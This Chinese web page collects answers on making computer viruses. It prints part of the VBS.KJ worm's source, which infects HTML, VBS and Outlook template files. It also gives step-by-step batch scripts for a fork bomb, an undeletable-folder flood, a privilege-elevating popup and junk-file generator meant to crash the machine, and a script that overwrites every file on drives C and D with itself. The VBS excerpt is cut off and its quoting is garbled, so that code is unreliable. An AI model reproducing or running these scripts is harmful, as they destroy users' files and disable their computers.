本文目录一览：
自制简单电脑病毒破解
右键点击桌面下方的弹窗，然后点击进入程序页面，钩选时间然后调整时间设置，点击确认，电脑自制的vbs小病毒就可以在相应的时间后关闭，就成功破解了。（本操作由win10完成，其他版本可能不适用，请谅解）
右键点击
点击进入程序页面
钩选时间然后调整时间设置，点击确认
右键点击桌面下方的弹窗，然后点击进入程序页面，钩选时间然后调整时间设置，点击确认，电脑自制的vbs小病毒就可以在相应的时间后关闭，就成功破解了。（本操作由win10完成，其他版本可能不适用，请谅解）
怎样“制造”电脑病毒？（不伤害自己的电脑）
那就看看vbs.kj的源码 Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk Sub KJ_start() \‘ 初始化变量 KJSetDim() \‘ 初始化环境 KJCreateMilieu() \‘ 感染本地或者共享上与html所在目录 KJLikeIt() \‘ 通过vbs感染Outlook邮件模板 KJCreateMail() \‘ 进行病毒传播 KJPropagate() End Sub \‘ 函数：KJAppendTo(FilePath,TypeStr) \‘ 功能：向指定类型的指定文件追加病毒 \‘ 参数： \‘ FilePath 指定文件路径 \‘ TypeStr 指定类型 Function KJAppendTo(FilePath,TypeStr) On Error Resume Next \‘ 以只读方式打开指定文件 Set ReadTemp = FSO.OpenTextFile(FilePath,1) \‘ 将文件内容读入到TmpStr变量中 TmpStr = ReadTemp.ReadAll \‘ 判断文件中是否存在“KJ_start()“字符串，若存在说明已经感染，退出函数； \‘ 若文件长度小于1，也退出函数。 If Instr(TmpStr,“KJ_start()“) 0 Or Len(TmpStr) 1 Then ReadTemp.Close Exit Function End If \‘ 如果传过来的类型是“htt“ \‘ 在文件头加上调用页面的时候加载KJ_start()函数; \‘ 在文件尾追加html版本的加密病毒体。 \‘ 如果是“html“ \‘ 在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体; \‘ 如果是“vbs“ \‘ 在文件尾追加vbs版本的病毒体 If TypeStr = “htt“ Then ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,2) FileTemp.Write ““ “BODY onload=“““ “vbscript:“ “KJ_start()“““ ““ vbCrLf TmpStr vbCrLf HtmlText FileTemp.Close Set FAttrib = FSO.GetFile(FilePath) FAttrib.attributes = 34 Else ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,8) If TypeStr = “html“ Then FileTemp.Write vbCrLf ““ “HTML“ vbCrLf ““ “BODY onload=“““ “vbscript:“ “KJ_start()“““ ““ vbCrLf HtmlText ElseIf TypeStr = “vbs“ Then FileTemp.Write vbCrLf VbsText End If
电脑病毒制作教程
很荣幸能够回答您的问题！
桌面上创建记事本，改后缀为bat
2
::输入以下代码
%0|%0
保存后退出，打开会发现无限制的弹窗。这是什么原理呢？
执行脚本的时候，|管道符会将左面的值传给右边，而这里%0是第一个参数（批处理路径），所以会无限执行自己。
END
第二种病毒
这种更强大一些。同样，桌面上创建记事本，改后缀为bat
::输入以下代码
for /l %%i in (1 1 999999) do md A..\
这个病毒利用Windows命名漏洞，创建999999个删除不了也打不开的文件夹。解决方法：把md改为rd
END
第三种病毒
这种病毒更高级，攻击性能更强。同样，桌面上创建记事本，改后缀为bat
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
:a
set /a a+=1
echo %random%-%random%-%random% C:\Users\%username%\Desktop\病毒文件.%random%
mshta javascript:alert("您已中第%a%个病毒.");close();
goto a
这个病毒会在后台运行，在桌面重复弹信息框，生成垃圾文件，千万不敢随意测试，因为电脑会消耗尽内存后蓝屏。
END
第四种病毒
这种病毒最有破坏性，跟熊猫烧香媲美。同样，桌面上创建记事本，改后缀为bat
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do copy /y "%dpnx0" "%%i" nul
for /f "tokens=* delims=" %%i in ('dir /b C:\*.*') do copy /y "%dpnx0" "%%i" nul
此程序特别狠，会在后台把C、D盘所有的文件都替换成自己（病毒文件，然后会又被执行）。
希望能帮到您，如有疑问，请追问！
